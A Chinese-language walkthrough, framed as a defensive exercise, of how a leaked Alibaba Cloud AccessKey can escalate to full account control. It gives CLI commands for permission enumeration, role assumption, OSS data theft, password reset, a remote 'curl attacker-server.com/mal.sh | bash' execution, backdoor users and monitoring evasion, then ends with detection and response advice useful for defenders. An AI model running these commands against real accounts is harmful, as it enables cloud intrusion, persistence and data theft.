1. 项目概述当云上“钥匙”落入他人之手在云原生时代AK/SKAccessKey ID / AccessKey Secret是访问云资源的“万能钥匙”。它们就像你家大门的钥匙和密码的组合一旦泄露就意味着攻击者可以大摇大摆地进入你的“云上之家”查看、修改甚至删除你的数据、服务器、数据库等一切资产。我见过太多因为代码仓库配置疏忽、日志文件意外公开、甚至是内部员工误操作导致AK/SK泄露的案例。今天我们就从一个安全研究或者说防御者视角的攻防演练的角度来完整复盘一次从发现泄露的AK/SK开始到最终理解攻击者如何可能控制整个阿里云账户的路径。这绝不是为了教你如何攻击而是为了让你无论是开发者、运维还是安全负责人都能深刻理解这串字符背后所代表的巨大风险从而建立起真正有效的防御体系。整个流程可以看作是一次针对云身份与访问管理IAM的“渗透测试”。核心目标不是破坏而是验证验证一个泄露的凭据其危害边界究竟能有多大。我们会使用阿里云官方提供的命令行工具、SDK以及一些开源的安全评估工具在完全合法、授权的测试环境例如你自己创建的、隔离的阿里云子账户中模拟攻击者的行为链路。你会发现整个过程往往不像电影里演的那样需要高超的黑客技术更多是逻辑缜密的权限枚举和信息收集。对于防御方来说了解攻击者的每一步操作和意图是构建有效监控和响应策略的前提。2. 核心思路与攻击链拆解一次成功的云渗透其核心思路并非暴力破解而是“权限提升”和“横向移动”。AK/SK泄露只是起点攻击者的终极目标通常是获取更高权限如主账号控制权或窃取核心数据资产。整个攻击链可以清晰地划分为几个阶段理解每个阶段的目标和手段是做好防御的关键。2.1 攻击链全景图从凭据到控制一个典型的基于AK/SK泄露的攻击链遵循着“信息收集 - 权限确认 - 横向移动 - 权限提升 - 目标达成”的基本逻辑。这并不是一条单行道攻击者会根据收集到的信息不断调整策略。初始访问与验证攻击者首先需要验证到手的AK/SK是否有效、是否仍处于启用状态。这是最基础的一步无效的凭据毫无价值。身份与权限枚举这是最关键的一步。攻击者需要弄清楚这个AK/SK背后对应的“身份”是谁是主账号还是某个RAM子用户以及这个身份当前拥有哪些权限。权限决定了攻击者能做什么。资源发现与信息收集在明确权限后攻击者会开始枚举该身份能访问的所有云资源例如ECS实例、OSS存储桶、RDS数据库、VPC网络配置等。这一步旨在绘制出目标的“云资产地图”。权限提升与持久化如果当前权限不足例如只是一个只读权限的RAM用户攻击者会尝试利用现有权限通过创建新的高权限AK/SK、附加策略、或利用配置错误如过宽的权限策略来提升自己的权限最终可能目标是获取主账号权限或创建具备管理员权限的后门账号。数据窃取与破坏在获得足够权限后攻击者便可以执行最终操作如下载OSS中的敏感数据、登录ECS执行恶意命令、篡改数据库内容、甚至勒索加密数据或直接销毁资源。注意在实际防御中我们尤其需要关注第2步权限枚举和第4步权限提升。很多安全事件并非因为初始凭据权限多大而是因为攻击者通过它找到了权限提升的路径。2.2 为什么RAM用户AK/SK是更常见的目标从官方文档和最佳实践我们了解到阿里云强烈不建议使用主账号AK/SK而推荐使用RAM用户AK/SK。这带来了一个看似矛盾的现象因为最佳实践的推广现实中泄露的AK/SK绝大多数都属于某个RAM用户而非主账号。这并不意味着风险降低反而对攻击者提出了更高的“技巧”要求对防御者则意味着更复杂的监控场景。攻击者拿到一个RAM用户的AK/SK后首要任务是判断其权限边界。一个仅拥有AliyunOSSReadOnlyAccess策略的用户只能列举和读取OSS对象危害相对可控。但如果这个用户被附加了AliyunECSFullAccessECS全权限管理甚至AdministratorAccess管理权限这类宽泛的策略那么危害性就急剧上升。更危险的情况是RAM用户可能拥有某些“PassRole”的权限允许它将某个高权限的角色Role代入到其他服务如ECS从而实现权限飞跃。因此整个演练的核心就变成了如何用一个可能权限有限的初始AK/SK通过枚举和利用云环境内的配置逐步扩大控制范围。这比直接拿到主账号AK/SK更具技术性也更能暴露云环境内部的安全配置问题。3. 环境准备与工具选型在进行任何操作之前我们必须搭建一个安全的、隔离的测试环境。绝对禁止使用生产环境的AK/SK或在生产资源上进行测试。我们的所有操作都应在自己完全控制的、新建的阿里云账号或独立的资源组内进行。3.1 搭建安全的测试沙箱我个人的习惯是专门注册一个用于安全测试的阿里云账号可以使用临时邮箱。在这个账号下我们可以自由地创建各种RAM用户、角色、资源并模拟各种错误配置而不用担心影响任何线上业务。创建主测试账号使用一个新的手机号或邮箱注册一个阿里云账号。完成实名认证个人认证即可。启用多因素认证MFA立即为这个主账号启用MFA。这是安全底线即使这是测试账号。创建模拟“受害者”的RAM用户我们将创建一个RAM用户并为其分配一组我们计划“泄露”的AK/SK。同时我们会为这个用户附加一些特定的权限策略来模拟真实世界中可能存在的过度授权或配置错误。步骤在RAM控制台创建用户test-penetration-user。生成AK/SK为该用户创建AccessKey并妥善保存这是我们后续演练的起点。附加策略为了模拟一个有趣的场景我们为其附加两个策略AliyunECSReadOnlyAccess仅限读取ECS信息。一个自定义的内联策略允许该用户为自己创建新的AccessKey模拟管理疏忽允许用户自主管理密钥。3.2 核心工具介绍与配置我们将主要使用命令行工具因为它们更易于自动化也更贴近攻击者常用的方式。阿里云CLI (Alibaba Cloud CLI)这是与阿里云API交互的官方命令行工具。我们需要用它来配置我们拿到手的AK/SK并执行后续的几乎所有API调用。安装根据你的操作系统参考阿里云CLI官方文档安装。配置Profile安装后运行aliyun configure。它会提示你输入AccessKey ID,AccessKey Secret,Region等。这里我们就填入刚刚为test-penetration-user创建的AK/SK。Region可以选一个常用的如cn-hangzhou。这个配置会保存在~/.aliyun/config.json中。验证配置运行一个简单的命令测试是否配置成功例如aliyun ecs DescribeRegions。如果返回了地域列表说明AK/SK有效且至少有某个服务的只读权限。aliyun-python-sdk-core对于更复杂的逻辑或需要编程处理的场景Python SDK是更好的选择。我们可以用Python脚本批量调用API、解析返回的复杂JSON数据。安装pip install aliyun-python-sdk-core基础使用在Python脚本中使用AK/SK初始化一个AcsClient对象即可调用各个产品的SDK。开源信息收集工具有一些优秀的开源工具可以帮助我们更系统化地进行信息收集。例如cloudlist或scoutsuite的适配版本。但为了更透彻地理解原理我们前期会主要使用原生CLI和SDK手动执行每一步。在理解了底层API调用后使用这些工具会事半功倍。实操心得在配置CLI时建议使用--profile参数管理多个AK/SK配置。例如aliyun configure --profile victim可以创建一个名为victim的配置与你的主账号配置隔离。后续调用时使用aliyun ecs DescribeInstances --profile victim来指定身份。这能有效防止误操作。4. 初始信息收集与权限枚举拿到AK/SK后攻击者第一步是“摸清家底”。这个阶段的目标是回答两个核心问题“我是谁”和“我能干什么”。4.1 验证AK/SK有效性与基础信息我们首先用配置好的CLI调用一个最基础的、几乎所有身份都能访问的API来验证连通性。# 使用配置好的profile调用一个通用API aliyun sts GetCallerIdentity --profile victim这个GetCallerIdentity是STS安全令牌服务的API它不需要任何特殊权限只要AK/SK有效就能调用。返回的JSON会包含关键信息{ AccountId: 123456789012, UserId: 2837812-example-user-id, Arn: acs:ram::123456789012:user/test-penetration-user, IdentityType: RAMUser, PrincipalId: 2837812-example-user-id }信息解读AccountId这个AK/SK所属的阿里云主账号ID。这是攻击者定位目标企业的关键信息之一。Arn这是最重要的字段。acs:ram::123456789012:user/test-penetration-user明确告诉我们当前身份是一个RAM用户用户名叫test-penetration-user。如果这里是acs:ram::123456789012:root那就意味着这是主账号的AK/SK情况将变得极其严重。IdentityType确认了是RAMUser。至此攻击者知道了自己当前扮演的是一个名为test-penetration-user的RAM用户隶属于账号123456789012。4.2 枚举已附加的权限策略知道身份后下一步就是列出这个RAM用户身上被附加了哪些权限策略。这决定了攻击的初始能力范围。# 列出直接附加给该用户的权限策略 aliyun ram ListPoliciesForUser --UserName test-penetration-user --profile victim这个命令会返回一个策略列表。在我们的测试场景中应该能看到AliyunECSReadOnlyAccess这个系统策略以及一个以UserPolicy开头的内联策略即我们自定义的允许创建AK的策略。关键点返回的策略信息中每个策略都有PolicyType字段可能是System系统策略或Custom自定义策略。PolicyName就是策略名称。攻击者需要仔细查看这些策略名尤其是自定义策略它们往往包含着过度授权的风险。为了获取策略的详细内容即具体的权限语句攻击者需要进一步查询# 获取系统策略的详情例如 AliyunECSReadOnlyAccess aliyun ram GetPolicy --PolicyType System --PolicyName AliyunECSReadOnlyAccess --profile victim # 获取自定义内联策略的详情假设PolicyName是 UserPolicy-xxxx aliyun ram GetPolicy --PolicyType Custom --PolicyName UserPolicy-xxxx --profile victim查看策略详情文档PolicyDocument字段攻击者就能精确知道当前用户可以对哪些资源Resource执行哪些操作Action。例如AliyunECSReadOnlyAccess的文档会显示其拥有ecs:Describe*、ecs:List*等只读操作的权限资源是*所有ECS资源。4.3 利用初始权限进行资源发现现在攻击者已经知道我们扮演的用户拥有ECS的只读权限。那么自然要看看这个账号下有哪些ECS服务器。# 列举所有ECS实例在拥有ECS只读权限的前提下 aliyun ecs DescribeInstances --RegionId cn-hangzhou --profile victim这个命令会返回该地域下所有ECS实例的详细信息包括实例ID、状态、IP地址、镜像ID、安全组、VPC/交换机信息等。这些信息对于后续的横向移动至关重要。例如攻击者可能会寻找公网IP、查看安全组规则中是否有暴露高危端口如22, 3389等。如果用户还有其他服务的只读权限如OSS、RDS攻击者会依葫芦画瓢进行类似的列举操作# 列举OSS Bucket (需要OSS列举权限) aliyun oss ls --profile victim # 列举RDS实例 (需要RDS只读权限) aliyun rds DescribeDBInstances --RegionId cn-hangzhou --profile victim注意事项很多企业在配置权限时会忽略“列举List”权限的风险。他们认为只给“读Read”权限是安全的。但实际上List或Describe权限能让攻击者绘制出完整的资产地图了解攻击面有多大哪些是核心数据库哪些是对外Web服务器价值巨大。在配置权限时应遵循最小权限原则即使是只读权限也要考虑是否真的需要List权限。5. 权限提升与横向移动实战在只有ECS只读权限的情况下攻击者似乎无法进行任何写操作比如创建实例、执行命令等。但别忘了我们还有一个自定义策略允许用户“为自己创建新的AccessKey”。这看似无害实则可能打开一扇门。5.1 利用“创建AccessKey”权限进行权限维持攻击者发现当前用户可以为自己创建新的AK/SK。他立即执行# 为当前用户创建一个新的AccessKey aliyun ram CreateAccessKey --UserName test-penetration-user --profile victim命令成功执行返回一组全新的AccessKeyId和AccessKeySecret。攻击者现在有了第二套凭据。这有什么用如果原有的AK/SK被管理员发现并禁用或删除攻击者仍然可以用这套新的AK/SK维持访问。这是一种基础的持久化手段。但我们的目标不止于此。当前的权限ECS只读仍然太低。攻击者需要寻找权限提升Privilege Escalation的机会。5.2 探索权限提升路径角色Role与扮演AssumeRole在云上一个更常见的权限提升路径是通过“角色扮演”。RAM用户本身权限可能不高但如果他被允许去“扮演AssumeRole”某个拥有高权限的角色Role那么他就能临时获得该角色的所有权限。如何检查当前用户能否扮演角色这需要查看用户或其所附加的策略中是否包含sts:AssumeRole这个Action并且Resource指向了某个具体的角色ARN。首先我们可以尝试列出当前账号下所有的RAM角色# 需要 ram:ListRoles 权限。我们的用户目前没有这个命令会失败。 aliyun ram ListRoles --profile victim不出意外会返回权限不足的错误。这说明我们无法直接浏览所有角色。那么攻击者可能会换个思路直接尝试扮演一些常见的、可能存在的高权限角色名。例如很多企业会创建名为AdminRole、ECSPowerUserRole、VPCFullAccessRole之类的角色。这是一种“猜测”攻击。# 尝试扮演一个假设存在的“AdminRole”角色 aliyun sts AssumeRole --RoleArn acs:ram::123456789012:role/AdminRole --RoleSessionName PenTestSession --profile victim如果当前用户没有被授权扮演这个角色请求会被拒绝。但如果企业配置了过于宽泛的信任策略Trust Policy例如允许所有RAM用户扮演某个角色那么攻击就可能成功。更系统的方法是仔细分析我们已有的自定义策略文档。我们之前创建的那个允许“创建AccessKey”的内联策略其完整内容可能不止于此。让我们用GetPolicy命令再看一眼它的详情。假设策略文档如下{ Version: 1, Statement: [ { Effect: Allow, Action: [ ram:CreateAccessKey, ram:ListAccessKeys, ram:UpdateAccessKey, ram:DeleteAccessKey ], Resource: acs:ram::123456789012:user/test-penetration-user }, { Effect: Allow, Action: sts:AssumeRole, Resource: acs:ram::123456789012:role/ECSPowerUser } ] }发现了关键点这个策略的第二条语句允许当前用户去扮演一个名为ECSPowerUser的角色。这就是我们寻找的权限提升路径5.3 执行角色扮演获取临时高权限凭证现在攻击者可以合法地在策略允许下扮演ECSPowerUser角色。# 扮演 ECSPowerUser 角色 aliyun sts AssumeRole --RoleArn acs:ram::123456789012:role/ECSPowerUser --RoleSessionName AttackSession --profile victim调用成功会返回一个包含临时安全令牌Security Token的响应{ Credentials: { AccessKeyId: STS.xxxxxx, AccessKeySecret: yyyyyyyy, SecurityToken: zzzzzzzz, Expiration: 2024-05-20T12:00:00Z }, AssumedRoleUser: { Arn: acs:sts::123456789012:assumed-role/ECSPowerUser/AttackSession, AssumedRoleUserId: 333333333333333333:AttackSession } }这个Credentials就是攻击者梦寐以求的高权限临时钥匙。它通常有效期为1小时可配置。攻击者会立即用这组新的临时AK/SK和Token去配置一个新的CLI Profile。# 配置一个新的CLI profile使用临时凭证 aliyun configure set --profile assumed-role \ --access-key-id STS.xxxxxx \ --access-key-secret yyyyyyyy \ --region cn-hangzhou \ --sts-token zzzzzzzz现在使用--profile assumed-role发起的任何API请求都将以ECSPowerUser角色的身份执行。我们需要查看这个角色到底有什么权限。5.4 评估新角色的权限并扩大战果由于我们是以角色身份访问现在可以调用GetCallerIdentity来确认aliyun sts GetCallerIdentity --profile assumed-role返回的Arn会变成acs:sts::123456789012:assumed-role/ECSPowerUser/AttackSession身份类型是AssumedRoleUser。接下来我们需要知道这个ECSPowerUser角色被附加了哪些策略。由于我们是通过RAM用户扮演的角色我们可能没有直接查询角色策略的权限ram:GetRole。但是我们可以通过实际尝试来探测权限边界。这是一种“动态检测”方法。攻击者会尝试一系列高权限操作例如尝试创建资源# 尝试创建一个按量付费的ECS实例极低成本或设置自动释放避免产生大额费用 aliyun ecs CreateInstance --RegionId cn-hangzhou --InstanceType ecs.t5-lc1m2.small --ImageId centos_7_9_x64_20G_alibase_20230718.vhd --SecurityGroupId sg-xxx --VSwitchId vsw-xxx --profile assumed-role如果成功说明角色拥有ECS创建权限危害极大。尝试修改现有配置# 尝试修改某个安全组规则放行公网IP访问22端口 aliyun ecs AuthorizeSecurityGroup --SecurityGroupId sg-xxx --IpProtocol tcp --PortRange 22/22 --SourceCidrIp 0.0.0.0/0 --profile assumed-role尝试访问其他服务# 尝试列出所有OSS Bucket aliyun oss ls --profile assumed-role # 尝试上传文件到某个已知的Bucket aliyun oss cp ./test.txt oss://my-sensitive-bucket/ --profile assumed-role在我们的模拟场景中ECSPowerUser角色很可能被赋予了AliyunECSFullAccess或类似的高权限策略。这意味着攻击者现在可以完全控制该账号下的所有ECS资源开机、关机、重启、重置密码、执行命令、创建镜像、修改安全组等等。6. 深入利用与数据窃取模拟假设通过探测我们确认ECSPowerUser角色拥有对OSS的完全访问权限AliyunOSSFullAccess。那么攻击的下一个阶段就是数据窃取。6.1 全面枚举OSS存储桶与对象首先列出所有存储桶aliyun oss ls --profile assumed-role输出可能包含多个Bucket名称例如company-backup,web-static,logs-archive等。这些名称本身就可能泄露业务信息。接下来攻击者会遍历所有感兴趣的Bucket列出其中的文件。对于可能包含敏感信息的Bucket如名字中含有backup,database,secret等会进行重点探查。# 递归列出 company-backup 桶内所有文件并输出到本地文件 aliyun oss ls oss://company-backup -r oss_company_backup_list.txt # 查看 logs-archive 桶中最近的文件 aliyun oss ls oss://logs-archive --max-keys 506.2 识别与下载敏感数据通过文件列表攻击者会寻找诸如.sql.gz,.bak,.xlsx,.pdf,config.json,.env等可能包含数据库备份、配置文件、员工信息、财务数据的文件。一旦发现目标就直接下载# 下载一个疑似数据库备份的文件 aliyun oss cp oss://company-backup/prod/db/20240518_full.sql.gz ./stolen_data/ # 下载配置文件 aliyun oss cp oss://web-static/config/production.yaml ./stolen_data/如果数据量巨大攻击者可能会考虑使用--multipart参数进行分片下载或者直接在云上启动一个临时ECS实例将数据先拷贝到该实例的云盘上再进行压缩打包和传输以提高效率并规避可能的网络流量监控。6.3 尝试访问ECS实例如果OSS中没有直接找到核心数据攻击者可能会将目光转向ECS实例。拥有ECSFullAccess权限后攻击者可以重置实例密码对于Linux实例可以重置root密码对于Windows实例可以重置Administrator密码。但这需要重启实例才能生效动作较大容易被发现。aliyun ecs ResetInstancePassword --InstanceId i-xxx --Password Hck3d!123 --profile assumed-role # 注意重置后需要重启实例 aliyun ecs RebootInstance --InstanceId i-xxx --profile assumed-role更隐蔽的方式执行命令RunCommand阿里云ECS提供了“云助手”功能可以在不登录的情况下远程在实例中执行命令。这比重置密码更隐蔽。# 创建一个命令文档假设要下载并执行一个脚本 aliyun ecs CreateCommand --RegionId cn-hangzhou --CommandContent curl -s http://attacker-server.com/mal.sh | bash --Type RunShellScript --Name UpdateScript --profile assumed-role # 在目标实例上执行该命令 aliyun ecs InvokeCommand --RegionId cn-hangzhou --InstanceId.1 i-xxx --CommandId 上一步返回的CommandId --profile assumed-role通过执行命令攻击者可以在实例内部建立持久化后门、进行内网横向渗透、或直接打包窃取实例磁盘上的数据。7. 权限维持与防御规避一个成熟的攻击者不会满足于一次性入侵他会设法留下后门确保即使最初的AK/SK失效他也能再次回来。7.1 创建后门RAM用户最直接的方式是利用当前的高权限假设通过角色扮演或其他方式已经获取了RAM管理权限例如AliyunRAMFullAccess创建一个新的、隐蔽的RAM用户并赋予其高权限。# 1. 创建一个看似普通的RAM用户例如命名为“monitor-agent” aliyun ram CreateUser --UserName monitor-agent --DisplayName Monitoring Agent --profile assumed-role # 2. 为该用户创建AK/SK aliyun ram CreateAccessKey --UserName monitor-agent --profile assumed-role # 保存好这组新的AK/SK这是攻击者的备用钥匙。 # 3. 给这个后门用户附加高权限策略例如只读权限以降低怀疑或者直接附加管理权限。 # 附加只读策略更隐蔽 aliyun ram AttachPolicyToUser --PolicyType System --PolicyName AliyunReadOnlyAccess --UserName monitor-agent --profile assumed-role # 或者附加管理策略风险高但控制力强 # aliyun ram AttachPolicyToUser --PolicyType System --PolicyName AdministratorAccess --UserName monitor-agent --profile assumed-role7.2 利用现有资源创建持久化访问通道如果创建新用户风险太高攻击者可能会利用现有的、不被注意的资源。例如在已有的ECS实例上安装SSH公钥如果攻击者能通过RunCommand在某个实例上执行命令他可以将自己的SSH公钥添加到~/.ssh/authorized_keys文件中从而获得持久的SSH访问权限。创建具有高权限的服务角色如果攻击者有RAM管理权限可以创建一个新的RAM角色并配置其信任策略为允许一个外部的、攻击者控制的阿里云账号来扮演。这样即使当前账号的所有AK/SK都被轮转攻击者仍然可以通过自己的外部账号来扮演这个角色获得权限。在函数计算FC或容器服务中部署后门如果环境中有Serverless或容器服务攻击者可以部署一个包含后门的函数或镜像该后门可以定期将访问凭证发送到攻击者控制的服务器。7.3 清理痕迹与对抗监控为了避免被阿里云自身的监控或企业安全团队发现攻击者会尽量低调使用低频、合法的API调用避免在短时间内发起大量异常API请求。尽量模仿正常用户的行为模式。避开敏感操作高峰不在业务高峰时段执行重置密码、重启实例等敏感操作。查看并理解CloudTrail日志如果攻击者有读取操作日志ActionTrail的权限他可能会先查看日志了解企业的监控习惯然后选择在监控盲区行动。不过阿里云的操作日志是防篡改的攻击者只能查看无法删除。使用临时凭证尽量使用通过STS获取的临时凭证Token进行操作因为临时凭证的生命周期短且与特定的RoleSessionName关联在日志中看起来可能更像一个临时任务。8. 防御视角如何构建AK/SK泄露的防线复盘完整个攻击路径作为防御方我们应该如何构建防线这需要从预防、检测、响应三个层面入手。8.1 预防措施让AK/SK难以泄露和滥用坚决不使用主账号AK/SK这是铁律。所有程序、API调用都必须使用RAM用户的AK/SK。遵循最小权限原则为每个应用、服务、人员创建独立的RAM用户并授予其完成工作所必需的最小权限。避免使用*作为资源尽量精确到资源ID。避免使用AdministratorAccess这类宽泛的系统策略。使用STS临时凭证对于需要调用云API的应用程序尽可能使用RAM角色Role和STS来获取临时安全令牌而不是直接使用长期有效的AK/SK。临时令牌自动过期安全性高得多。启用AK/SK网络访问限制如官方文档所述为AK/SK配置网络访问策略限定调用来源IP将风险锁定在公司网络或特定的云服务器IP范围内。定期轮转AK/SK建立AK/SK定期轮转制度强制更换。即使AK/SK泄露其有效期也有限。禁用不必要的AK/SK定期审计删除或禁用长期未使用的AK/SK。加强代码和配置管理AK/SK严禁硬编码在源代码中。使用环境变量、密钥管理服务如阿里云KMS或专门的Secrets管理工具来存储和访问凭据。在Git等版本控制系统中设置.gitignore规则防止配置文件意外提交。8.2 检测措施及时发现异常行为启用并监控操作审计ActionTrail确保ActionTrail日志投递到日志服务SLS或对象存储OSS并设置长期存储。这是事后追溯的“黑匣子”。配置实时告警在SLS中设置告警规则对高风险API操作进行实时告警。例如来自陌生IP地址的sts:AssumeRole调用。ram:CreateUser,ram:AttachPolicyToUser等权限变更操作。ecs:ResetInstancePassword,ecs:RunCommand等对实例的直接操作。oss:GetObject大量下载敏感Bucket的数据。同一个AK/SK在短时间内从多个地理位置IP发起请求。使用安全中心云盾阿里云安全中心提供威胁检测功能可以识别凭据泄露、异常登录、恶意操作等行为并给出告警。定期进行用户行为分析UEBA建立用户和实体的行为基线对于偏离基线的行为如一个只读用户突然尝试创建实例进行告警。8.3 响应措施泄露发生后的止损立即禁用或删除泄露的AK/SK在RAM控制台找到对应的用户立即禁用或删除其所有的AccessKey。审查相关RAM用户的权限检查泄露AK/SK所属的用户其权限是否过大是否被附加了不必要的策略进行权限收紧。检查是否创建了后门用户或角色全面审计RAM中的用户和角色列表查找近期创建的、名称可疑的实体检查其权限并删除。审查近期的操作日志通过ActionTrail追踪泄露的AK/SK在失效前都执行了哪些操作。重点关注是否创建了新的AK/SK、用户、角色是否对ECS、OSS、RDS等资源进行了读写操作是否有数据被下载或外传重置可能被篡改的凭证如果攻击者可能修改了ECS实例密码、数据库密码等需要立即重置。轮换所有可能受影响的凭据作为一种安全实践考虑轮换与该泄露用户同一权限级别或相关联的其他凭据。复盘与加固分析泄露原因是代码泄露、内部人员误操作还是其他修补漏洞并加强员工的安全意识培训。整个攻防演练下来我最深的体会是云安全是一个动态的过程没有一劳永逸的银弹。攻击者的手法在进化我们的防御策略也必须随之迭代。AK/SK的管理是云安全的基石这块基石一旦松动整个大厦都可能倾覆。定期进行这样的红蓝对抗演练不是为了制造恐慌而是为了在最坏的情况发生前亲手验证我们的防御体系是否真的有效。当你真正站在攻击者的角度走完一遍流程你会对那句老话有更刻骨的理解“安全是1其他都是后面的0。”